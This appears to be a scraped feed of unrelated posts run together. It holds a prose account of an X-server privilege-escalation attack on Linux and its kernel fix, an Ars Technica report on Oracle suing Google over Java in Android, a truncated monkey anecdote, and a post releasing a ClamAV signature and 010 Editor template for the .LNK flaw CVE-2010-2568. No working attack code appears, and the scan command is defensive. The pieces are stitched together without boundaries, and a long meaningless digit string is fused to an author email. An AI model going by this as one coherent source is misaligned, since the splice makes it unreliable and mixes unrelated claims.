And we haven't even touched the problems that might arise from the attacker exploiting a bug in the (over-complex) GUI server/API, or in the (big fat) kernel (with hundreds of drivers). In order for those attacks to become really interesting (like the Rafal's attack we presented yesterday), the user would have to already be using e.g. different X servers (and switch between them using Ctrl-Shift-Fn), or some sandboxing mechanisms, such as SELinux sandbox, or, in case of Vista, a scheme similar to this one.

A couple of months ago, while working on Qubes GUI virtualization, Rafal has come up with an interesting privilege escalation attack on Linux (a user-to-root escalation), that exploits a bug in... well, actually it doesn't exploit any concrete bug, which makes it so much more interesting.

The attack allows a (unpriviliged) user process that has access to the X server (so, any GUI application) to unconditionally escalate to root (but again, it doesn't take advantage of any bug in the X server!). In other words: any GUI application (think e.g. sandboxed PDF viewer), if compromised (e.g. via malicious PDF document) can bypass all the Linux fancy security mechanisms, and escalate to root, and compromise the whole system. The attack allows even to escape from the SELinux's "sandbox -X" jail. To make it worse, the attack has been possible for at least several years, most likely since the introduction of kernel 2.6.

You can find the details of the attack, as well as the discussion of possible solutions, including the one that has eventually been implemented, in the Rafal's paper.

One important aspect the attack demonstrates, is how difficult it is to bring security to a desktop platform, where one of the biggest challenges is to let applications talk to the GUI layer (e.g. X server in case of Linux), which usually involves a very fat GUI protocol (think X protocol, or Win32 GUI API) and a very complex GUI server, but at the same time keep things secure. This was one of the key priories for us when designing Qubes OS architecture. (So, we believe Qubes is much more secure than other sandboxing mechanisms, such as BSD jails, or SELinux-based sandboxes, because it not only eliminates kernel-level exploits, but also dramatically slims down GUI-level attacks).

The kernel-level "patch" has been implemented last week by Linus Torvalds, and pushed upstream into recent stable kernels. RedHat has also released an advisory for this attack, where they rated its severity as "high".

ps. Congrats to Brad Spengler for some good guessing :)

In a tersely worded press release, Oracle announced that it was suing Google for patent and copyright infringement over its use of the Java programming language for Android development. Neither the press release nor the complaint filed in the US District Court for Northern California go into any significant detail.

"In developing Android, Google knowingly, directly, and repeatedly infringed Oracle's Java-related intellectual property" an Oracle spokesperson said in a statement. "This lawsuit seeks appropriate remedies for their infringement."

Google makes heavy use of Java in the Android software development kit (SDK). Third-party developers code Android apps in Java, which is then translated into bytecode that runs in Dalvik, Google's own custom VM. Google subsequently released the Android Native Development Kit, which allows developers to build Android components with C and C++. It is not intended to replace the Java development model, though, which remains the strongly preferred means of Android development.

Aside from its use of Java syntax, Google's Android SDK implementation is largely independent from Oracle's. It uses its own compiler and runtime tailored specifically for Android.

Originally developed by Sun Microsystems as a "write-once, run anywhere" language, Java became the property of Oracle when it purchased Sun in April 2009. Java was a significant part of the deal for Oracle, as it has been a major player in the world of Java middleware. 

Prior to its acquisition by Oracle, Sun proved hostile to the Harmony Project, the Apache Software Foundation's attempt to build an Apache-licensed Java SE implementation. In addition to Dalvik, Google also uses Harmony's class libraries in Android, which has apparently aroused the ire of Oracle.

In the complaint, a copy of which was posted on VentureBeat, Oracle claims that Android, the Android SDK, and Dalvik all infringe on seven patents owned by the database giant. Oracle also accuses Google of "knowingly, willingly, and unlawfully" copying, preparing, publishing, and distributed its IP.

The fact that Oracle has chosen to sue Google over its implementation is sure to cause concern in the wider Java community.

Oracle did not respond to our requests for comment in time for publication. Google told Ars that it had yet to be served with the complaint and was therefore unable to comment.

Read the comments on this post

eric@arstechnica.com (Eric Bangeman)036441791812191039881439801720540016804504586094149772460257010144465399986010990156495942531855248301887490951372133976010789099119752974430006461394713874180900194659170755847141

Start with a cage containing five monkeys. Inside the cage, hang a banana on a string and place a set of stairs under it. Before long, a monkey will go to the stairs and start to climb towards the...

Read more, after the click.

Microsoft has issued an emergency patch (MS10-046) for the .LNK file vulnerability (CVE-2010-2568).

I’m releasing two small tools I developed to help me investigate this vulnerability.

First one is a 010 Editor template file for the .LNK binary file format.

Second one is a ClamAV signature file to find all .LNK shortcuts that load a DLL (malicious or benign).

To scan your drive C, issue command

clamscan.exe -d LNK-CPL-CVE-2010-2568.ndb -l scan.log -r c:\ Quickpost info